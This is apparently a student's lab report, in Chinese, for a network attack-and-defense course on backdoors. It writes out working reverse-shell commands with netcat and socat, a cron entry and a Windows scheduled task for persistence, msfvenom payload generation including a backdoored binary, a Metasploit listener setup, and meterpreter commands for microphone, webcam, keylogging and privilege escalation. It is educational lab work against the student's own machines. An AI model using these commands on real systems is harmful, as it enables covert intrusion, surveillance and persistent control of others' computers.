2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp2 后门原理与实践

2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp2 后门原理与实践

一、实验内容

  1. 使用netcat获取主机操作Shell,cron启动;
  2. 使用socat获取主机操作Shell, 任务计划启动;
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
  5. 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

二、实验准备

1. 常用后门工具了解及测试

  1. ncat

    • ncat 是一个底层工具,进行基本的 TCP UDP 数据收发。常被与其他工具结合使用,起到后门的作用
  2. 测试前准备

    • 通过命令查看windows主机及kail机的ip(需要root权限)

      • windows(ipconfig):196.168.0.104
      • kail(ifconfig):196.168.11.128
    • 通过ping命令,查看二者是否可以ping通

  • 在老师提供的附件中下载 ncat.rar ------链接
  1. Windows获取kali的shell

    • 在 Windows 中,输入命令 ncat.exe -l -p 5218 ,用 ncat 打开一个监听端口,端口号 5218
    • 在 kail 中,输入 nc 192.168.0.104 5218 -e /bin/sh ,即使用 nc 命令 -e 选项执行 shell,反向连接至主机对应端口
    • 在 Wndows 中,通过命令 ls 或其他,验证运行 kail 的 shell ,可知 Windows 成功获得了 kali 的 shell

  1. kali获得Windows的shell

    • 在 kail 下,输入命令 nc -l -p 5218 设置端口
    • 在 Windows 下,输入 ncat.exe -e cmd.exe 192.168.11.128 5218 设置反向链接
    • 在 kail 中,输入 Windows 命令行的命令例如 dir 进行验证,可知 kali 成功获得了 Windows 的 shell

  1. 通过 nc 在两者间传输数据

    • 传输文字

      • 在 Windows 中输入 ncat.exe -l 5218 建立监听端口 5218
      • 在 kail 下输入 nc 192.168.0.104 5218 建立连接至 Windows 端口,建立成功后可进行文字传输

  • 传输文件

    • 在 Windows 下输入 ncat.exe -l 5218 > file.in 建立端口同时定义接收地址
    • 在 kail 下,创建测试文件file.out,可以通过 vim 进行编辑

  - 输入 nc 192.168.0.104 5218 < file.out ,连接至 Windows 进行文件输送
  - 可见文件成功传到主机中,通过记事本的形式打开可查看到在 kali 中编辑的内容

  1. socat

    • socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。它的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等
  2. Meterperter

    • 后门就是一个程序
    • 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的几大部分全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件,具体为以下几部分:
      • 基本功能(基本的连接、执行指令)
      • 扩展功能(如搜集用户信息、安装服务等功能)
      • 编码模式
      • 运行平台
      • 运行参数
    • 更多有关 meterpreter 的相关指令和内容可以参考老师的课件------链接

三、实验步骤

任务一:使用netcat获取主机操作Shell,cron启动

  • 同上面的准备阶段,在 Windows 中输入 ncat.exe -l -p 5218 设立监听端口
  • 在 kali 中通过 man cron 可以了解到 cron 的相关知识,但是由于没有下载中文翻译的 man 版本,所以是英文
  • 可以通过百度看到中文解释:crontab指令可以用于设置周期性被执行的指令,该命令从标准输入设备读取指令,并将其存放于对应文件中,以供之后读取和执行
  • 利用 crontab -e 指令编写一条定时任务,以定时可反弹至 Windows 端口,进入后编辑器可以看见选项,选择3即为vim编辑器

  • 使用 i 进入插入模式,在最下面增加一条令:40 * * * * /bin/netcat 192.168.0.104 5218 -e /bin/sh ,其中,40为每个小时的第40分钟时执行后方命令(因为我实验时是30多接近40,所以我设定为40)

  • 使用 crontab -l 可查看编辑情况

  • 还没到设定的时间(40),是无法执行获取kail shell的

  • 到时间(40)后,便可以执行

任务二:使用socat获取主机操作Shell, 任务计划启动

  • 在 Windows 系统下,打开控制面板->系统和安全->管理工具找到任务计划程序,双击进入

  • 点击操作->创建任务,在触发器中,新建触发器。在开始工作的下拉多选框中,选择工作站锁定时

  • 在操作处,新建操作。在程序或脚本中,预览,选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:5218 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把 cmd.exe 绑定到端口 5218,同时把 cmd.exe 的 stderr 重定向到 stdout 上

  • 在常规处,填写名称 20175218,然后确定,完成创建,并通过 按 win+L 键锁定计算机让任务开始执行

  • 在 Kali 下输入指令 socat - tcp:192.168.0.104:5218 这里的第一个参数-代表标准的输入输出,第二个流连接到 Windows 主机的 5218 端口,此时可以发现已经成功获得了一个 cmd shell ,输入 dir 可见命令可以执行获取数据

  • 当然,如果想要定时来完成的华,可以如同在做任务二时新建触发器,这样就可以定时完成了,命令和上面一样

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在 kali 中输入命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 -f exe > 20175218_backdoor.exe 因为在控制端生成后门,所以这里的 ip 地址为 kail 的 ip 地址

  • 在 Windows 下执行命令 ncat.exe -l 5218 > 201725218_backdoor.exe

  • 在 kali 中通过命令 nc 192.168.0.104 5218 < 20175218_backdoor.exe 将生成的后门程序传送到主机中,在文件夹中可见

  • 回到控制端,即 kali 中,通过命令 msfconsole 进入控制台

  • 依次输入以下命令,调用监听模块,设置与生成后门时相同的 payload,同时设置返回的 ip 和端口号
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.11.128
set LPORT 5218
  • 设置完成,输入 exploit 执行监听

  • 回到主机点击打开传输过去的后门程序(关闭所有杀毒软件和防火墙),运行后,可以观察到 kail 取得链接,并且在 kali 中可以远程控制主机shell

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 继续在任务三的基础上进行,在 kali 中使用命令 record_mic 截获一段音频,如果想要指定时间就加上 -d + 时间(时间不能过长,否则报错)

  • 使用 webcam_snap 指令或者 webcam stream 指令可以使用摄像头进行拍照或者摄影

  • 使用 screenshot 指令进行截屏

  • 使用 keyscan_start 指令开始,可以记录下在 Windows 中点击了什么按键,使用 keyscan_dump 指令读取击键的记录

  • 使用 getuid 指令查看当前用户,使用 getsystem 指令进行提权

任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 实验指导书中的指令 msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe ,显然这条指令是需要修改的

  • 在查看很多人的资料,并且咨询组长后,将其跟改为 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 -x 20175218pwn1 -f elf > overdoor_2_5

  • 在 kali 中,进入实验一所用文件的文件夹下,打开终端(终端2),输入上面的命令生成后门程序 overdoor_2_5

  • 在终端1,按照任务三一样启动 msfconsole,需要注意的是将 playload 改为 linux/x86/meterpreter/reverse_tcp

  • 在终端2,执行后门程序 overdoor_2_5(需要加权限)

  • 可见可获取到 shell

四、实践思考

问题一:例举你能想到的一个后门进入到你系统中的可能方式?

答:我觉得这个是非常不经意的,可能就在下载一个软件时,后门就捆绑着这个软件一同下载下来了。并且下载下来,都还不能发现。

问题二:例举你知道的后门如何启动起来(win及linux)的方式?

答:在 win 中,按照一般病毒那些的思路,它会与一些自启动项绑定启动,修改注册表,开机启动之类;在 linux 中可以通过 crontab 启动,就像这一次实验一样。

问题三:Meterpreter有哪些给你映像深刻的功能?

答:主要是这次实验中给我带来的印象很深,例如拍照,截屏,获取音频以及记录键入,其中印象最深的就是拍照,刚刚输完命令执行,结果就给我拍了。

问题四:如何发现自己有系统有没有被安装后门?

答:我觉得如果电脑的杀毒软件和防火墙打开的话,一般是可以发现的。就像我在做实验时,没有关联想电脑自带的那个杀毒软件,刚刚一运行后门程序,结果就被杀死了。

五、实验中遇到的问题及解决方法

问题一:msfconsole 启动失败

解决方法:由于默认安装的bundler为最新版本2.1.4。msfconsole依赖的版本为1.17.3,所以需要安装旧版本。执行如下命令:gem install bundler:1.17.3

问题二:record_mic -d + 时间 报错

解决方法:时间不能过长,过长则报错

问题三:任务五后门程序 overdoor_2_5 执行报错

解决方法:需要用 chmod +x +文件 给 overdoor_2_5 修改权限

问题四:主机运行后门程序,报错后消失

解决方法:可能被杀毒软件杀死,需要关闭杀毒软件再运行

六、实验收获与感想

这次实验,总的来说不是很困难,比起实验一稍微好做一些,而且做实验的过程还非常愉快。稍微有点坑的就是之前电脑换了一个系统,很多东西都是新的。比如各种自带的杀毒软件,之前的系统是没有的,现在突然加入,导致做实验时,莫名其妙就崩了,找了好久,结果发现还有一个没有关闭。但是通过这次实验也学到了很多东西,知道了不保护好自己电脑的后果,知道了被植入后门的危害,当然,学到了这些知识就可以有一些防护的能力,希望以后更加努力,学到更多知识。

七、参考资料

posted @ 2020-03-15 18:11  20175218陈敬勇  阅读(169)  评论(0编辑  收藏  举报